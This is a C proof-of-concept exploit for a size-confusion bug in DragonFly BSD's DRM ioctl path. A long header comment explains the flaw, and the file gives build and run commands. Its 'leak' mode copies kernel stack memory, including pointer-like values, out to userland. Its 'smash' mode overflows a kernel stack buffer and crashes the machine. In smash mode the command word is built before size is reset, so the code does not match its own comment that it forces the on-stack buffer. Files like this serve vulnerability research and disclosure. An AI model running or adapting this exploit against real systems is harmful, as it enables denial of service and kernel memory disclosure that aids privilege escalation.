DF-4569 / drm_size_confusion.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * drm_size_confusion.c -- DF-4569: real-DRM trigger (needs /dev/dri/cardN). * * DragonFly's drm_ioctl() (sys/dev/drm/drm_ioctl.c:801) dispatches purely on * DRM_IOCTL_NR(cmd) == cmd & 0xff and never compares the user cmd against * the canonical drm_ioctl_desc.cmd from the table. On DragonFly the ioctl * argument buffer is allocated by mapped_ioctl() (sys/kern/sys_generic.c:668, * 674-680) with the size taken from the USER's command word: * * - IOC_VOID cmds always get the 128-byte on-stack buffer, * - non-VOID cmds get kmalloc(IOCPARM_LEN(cmd)) when size > 128, * else the same 128-byte stack buffer, * - after a successful handler return, IOC_OUT cmds copy `size' bytes * back out (sys_generic.c:729-730) -- from the 128-byte stack buffer * even when `size' is 8191 and the buffer was only 8 bytes initialized. * * Meanwhile every DRM handler treats `data' as a pointer to the full * compile-time struct. Two primitives: * * [smash] DRM_IOCTL_GET_STATS (nr 0x06, no DRM_AUTH needed -- flags are * DRM_UNLOCKED only): drm_getstats() does * memset(stats, 0, sizeof(struct drm_stats)) == 248 bytes * (sys/dev/drm/drm_ioctl.c:221). With a user size <= 128 that * memsets 120 bytes past mapped_ioctl()'s 128-byte ubuf.stkbuf * -> kernel stack buffer overflow, deterministic panic. * * [leak] DRM_IOCTL_GET_MAGIC (nr 0x02, no auth needed): drm_getmagic() * writes 4 bytes and returns 0 (sys/dev/drm/drm_auth.c:58-76). * Issue it as IOC_VOID|IOC_OUT with size 1024..8191: the final * copyout ships `size' bytes of kernel stack to userland. * * Build: cc -O2 -o drm_size_confusion drm_size_confusion.c * Run: ./drm_size_confusion /dev/dri/card0 leak * ./drm_size_confusion /dev/dri/card0 smash # panics the box */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define IOC_VOID_DF 0x20000000UL #define IOC_OUT_DF 0x40000000UL #define GROUP_DF 'd' #define DRM_NR_GET_MAGIC 0x02 /* drm_getmagic */ #define DRM_NR_GET_STATS 0x06 /* drm_getstats */ int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/dev/dri/card0"; const char *mode = argc > 2 ? argv[2] : "leak"; size_t size = argc > 3 ? (size_t)strtoul(argv[3], NULL, 0) : 2048; unsigned long cmd; unsigned char *buf; int fd, err; if (size == 0 || size > 8191) { fprintf(stderr, "size must be 1..8191\n"); return 2; } fd = open(path, O_RDWR); if (fd < 0) { perror(path); return 2; } buf = calloc(1, size + 16); if (strcmp(mode, "leak") == 0) { cmd = (IOC_VOID_DF | IOC_OUT_DF) | (size << 16) | (GROUP_DF << 8) | DRM_NR_GET_MAGIC; } else { cmd = IOC_OUT_DF | (size << 16) | (GROUP_DF << 8) | DRM_NR_GET_STATS; size = 8; /* small: force the on-stack buffer */ } printf("DF-4569 %s on %s, cmd=0x%lx nr=0x%02x size=%zu\n", mode, path, cmd, (unsigned)(cmd & 0xff), size); err = ioctl(fd, cmd, buf); printf("ioctl returned %d\n", err); if (strcmp(mode, "leak") == 0) { size_t i; unsigned long v; int hits = 0; for (i = 0; i + 8 <= size; i += 8) { memcpy(&v, buf + i, 8); if ((v >> 48) == 0xffff && v != 0xffffffffffffffff) hits++; } printf("kernel-pointer-looking qwords: %d / %zu\n", hits, size / 8); } close(fd); return 0; } |